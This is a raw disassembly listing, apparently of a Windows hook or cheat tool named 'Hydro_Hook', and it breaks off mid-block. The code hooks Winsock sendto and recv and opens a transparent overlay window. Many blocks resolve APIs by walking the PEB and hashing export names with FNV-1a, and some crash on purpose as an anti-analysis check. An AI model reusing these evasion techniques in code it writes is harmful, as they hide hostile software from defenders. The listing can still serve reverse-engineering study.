lea rcx, [rbp + 0x720]
mov dword [rbp + 0x28], r12d
call fcn.14006bb90
lea rdx, [0x14005a5a0]
lea rcx, [rbp + 0x240]
call fcn.14006c7b0
lea rcx, [rbp + 0x240]
call fcn.14004b440
cmp dword [rbp + 0x248], r13d
jne 0x140066296
lea rdx, [0x1400515a0]
lea rcx, [rbp + 0x250]
call fcn.14006c7b0
lea rcx, [rbp + 0x250]
call fcn.14004b440
cmp dword [rbp + 0x258], r13d
jne 0x140066296
mov eax, dword [0x14011b308]
lea rcx, [rbp - 0x54]
mov dword [rbp - 0x54], eax
xor edx, edx
movzx eax, word [0x14011b30c]
xor byte [rbp - 0x53], 0x33
xor byte [rbp - 0x52], 0x34
xor byte [rbp - 0x51], 0x35
mov word [rbp - 0x50], ax
xor al, 0x36
xor byte [rbp - 0x4f], 0x37
mov byte [rbp - 0x50], al
mov byte [rbp - 0x54], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x14005c650
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x12d0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x12c], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c4a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c4a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c4a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c480
cmp r8d, 0xcded1a85
je 0x14005c4ac
test r9d, r9d
jne 0x14005c460
mov rax, qword [rax]
jmp 0x14005c430
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x12c]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x30], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c567
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c567
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c562
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c540
cmp r8d, 0xe80fd3a
je 0x14005c56c
test r9d, r9d
jne 0x14005c520
mov rax, qword [rax]
jmp 0x14005c4f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x30]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c627
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c627
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c622
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c600
cmp r8d, 0xa52bcaf9
je 0x14005c62c
test r9d, r9d
jne 0x14005c5e0
mov rax, qword [rax]
jmp 0x14005c5b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
cmp byte [0x14018a84d], r13b
je 0x14005c8c0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xdd0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x34], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c717
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c717
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c712
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c6f0
cmp r8d, 0xcded1a85
je 0x14005c71c
test r9d, r9d
jne 0x14005c6d0
mov rax, qword [rax]
jmp 0x14005c6a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x34]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x38], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c7d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c7d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c7d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c7b0
cmp r8d, 0xe80fd3a
je 0x14005c7dc
test r9d, r9d
jne 0x14005c790
mov rax, qword [rax]
jmp 0x14005c760
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x38]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005c897
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005c897
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005c892
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005c870
cmp r8d, 0xa52bcaf9
je 0x14005c89c
test r9d, r9d
jne 0x14005c850
mov rax, qword [rax]
jmp 0x14005c820
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x260]
call fcn.14006c7b0
lea rcx, [rbp + 0x260]
call fcn.14004b440
cmp dword [rbp + 0x268], r13d
jne 0x140066296
xor edx, edx
lea rcx, [0x140053540]
call qword [sym.imp.USER32.dll_EnumWindows]
lea rdx, [0x140058e90]
lea rcx, [rbp + 0x270]
call fcn.14006c7b0
lea rcx, [rbp + 0x270]
call fcn.14004b440
cmp dword [rbp + 0x278], r13d
jne 0x140066296
lea rax, [0x140066b50]
mov dword [rbp + 0x1b0], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x1b8], rax
xor ecx, ecx
mov dword [rbp + 0x1b4], 0x40
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1c8], r13
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x1d0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1d8], rax
xor ecx, ecx
lea rax, str.Hydro_Hook
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [0x14018a990]
mov qword [rbp + 0x1f8], rax
call fcn.140056100
test al, al
je 0x14005cc20
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xdf0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x3c], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005ca77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005ca77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ca72
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ca50
cmp r8d, 0xcded1a85
je 0x14005ca7c
test r9d, r9d
jne 0x14005ca30
mov rax, qword [rax]
jmp 0x14005ca00
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x3c]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x40], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005cb37
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005cb37
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005cb32
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005cb10
cmp r8d, 0xe80fd3a
je 0x14005cb3c
test r9d, r9d
jne 0x14005caf0
mov rax, qword [rax]
jmp 0x14005cac0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x40]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005cbf7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005cbf7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005cbf2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005cbd0
cmp r8d, 0xa52bcaf9
je 0x14005cbfc
test r9d, r9d
jne 0x14005cbb0
mov rax, qword [rax]
jmp 0x14005cb80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.1400532b0
test al, al
je 0x14005ce90
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xe10]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x44], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005cce7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005cce7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005cce2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ccc0
cmp r8d, 0xcded1a85
je 0x14005ccec
test r9d, r9d
jne 0x14005cca0
mov rax, qword [rax]
jmp 0x14005cc70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x44]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x48], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005cda7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005cda7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005cda2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005cd80
cmp r8d, 0xe80fd3a
je 0x14005cdac
test r9d, r9d
jne 0x14005cd60
mov rax, qword [rax]
jmp 0x14005cd30
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x48]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005ce67
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005ce67
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ce62
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ce40
cmp r8d, 0xa52bcaf9
je 0x14005ce6c
test r9d, r9d
jne 0x14005ce20
mov rax, qword [rax]
jmp 0x14005cdf0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xb0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_60]
mov r8d, 0x48
movups xmm0, xmmword [0x14011c4b0]
mov qword [rsp + 0x58], r13
cdq
sub eax, edx
mov qword [rsp + 0x50], r13
mov edx, dword [0x14011c4c0]
xor cx, 0x3c
movups xmmword [rbp + 0x10], xmm0
xor word [rbp + 0x12], 0x33
mov r9d, 0x80000000
xor word [rbp + 0x14], 0x34
xor word [rbp + 0x16], 0x35
xor word [rbp + 0x18], 0x36
xor word [rbp + 0x1a], 0x37
xor word [rbp + 0x1c], 0x38
xor word [rbp + 0x1e], 0x39
mov dword [rbp + 0x20], edx
xor dx, 0x3a
xor word [rbp + 0x22], 0x3b
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x161
sar eax, 1
mov word [rbp + 0x20], dx
sub eax, 0x11f
mov rdx, qword [rbp + 0x1f0]
mov word [rbp + 0x10], r8w
lea r8, [rbp + 0x10]
mov word [rbp + 0x24], cx
xor ecx, ecx
mov dword [rsp + 0x30], 0x23f
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x14018a860], rax
lea edx, [r15 - 0x15]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov rcx, qword [0x14018a860]
lea edx, [r15 - 0x15]
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x14018a860]
lea r9d, [r15 + 1]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14011f490]
lea rdx, [rbp + 0x420]
mov rcx, qword [0x14018a860]
movdqu xmmword [rbp + 0x420], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14018a860]
lea rdx, [0x14018a878]
xorps xmm0, xmm0
movups xmmword [0x14018a878], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14018a860]
call fcn.1400669a0
test al, al
jne 0x14005d01e
call fcn.140066ad0
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x140066202
mov rcx, qword [0x14018a860]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14018a860]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.3_WIP
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37b8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x418
call fcn.140015960
xor ecx, ecx
call fcn.1400066d0
call fcn.1400085d0
mov rsi, rax
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call fcn.140030100
movss xmm3, dword [0x14011f3f4]
lea rdx, [0x1401624e0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26a20
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.14002cfb0
mov rbx, qword [rsi + 0x50]
mov rcx, rbx
call fcn.140030100
movss xmm3, dword [0x14011f404]
lea rdx, [0x1401624e0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26a20
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.14002cfb0
mov rbx, qword [rsi + 0x50]
mov rcx, rbx
mov qword [0x14018a838], rax
call fcn.140030100
movss xmm3, dword [0x14011f400]
lea rdx, [0x140134100]
mov qword [rsp + 0x28], rax
mov r8d, 0x292c4
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.14002cfb0
mov rbx, qword [rsi + 0x50]
mov rcx, rbx
mov qword [0x14018a9b8], rax
call fcn.140030100
movss xmm3, dword [0x14011f408]
lea rdx, [0x1401624e0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26a20
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.14002cfb0
mov rbx, qword [rsi + 0x50]
mov rcx, rbx
mov qword [0x14018a850], rax
call fcn.140030100
movss xmm3, dword [0x14011f3f0]
lea rdx, [0x1401624e0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26a20
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.14002cfb0
cmp byte [0x14018a84d], r13b
mov qword [0x14018a870], rax
je 0x14005d410
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xe30]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x4c], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005d267
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005d267
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d262
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d240
cmp r8d, 0xcded1a85
je 0x14005d26c
test r9d, r9d
jne 0x14005d220
mov rax, qword [rax]
jmp 0x14005d1f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x4c]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x50], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005d327
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005d327
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d322
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d300
cmp r8d, 0xe80fd3a
je 0x14005d32c
test r9d, r9d
jne 0x14005d2e0
mov rax, qword [rax]
jmp 0x14005d2b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x50]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005d3e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005d3e7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d3e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d3c0
cmp r8d, 0xa52bcaf9
je 0x14005d3ec
test r9d, r9d
jne 0x14005d3a0
mov rax, qword [rax]
jmp 0x14005d370
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.1400532b0
test al, al
je 0x14005d680
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xe50]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x54], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005d4d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005d4d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d4d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d4b0
cmp r8d, 0xcded1a85
je 0x14005d4dc
test r9d, r9d
jne 0x14005d490
mov rax, qword [rax]
jmp 0x14005d460
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x54]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov dword [rbp + 0x58], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005d597
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005d597
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d592
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d570
cmp r8d, 0xe80fd3a
je 0x14005d59c
test r9d, r9d
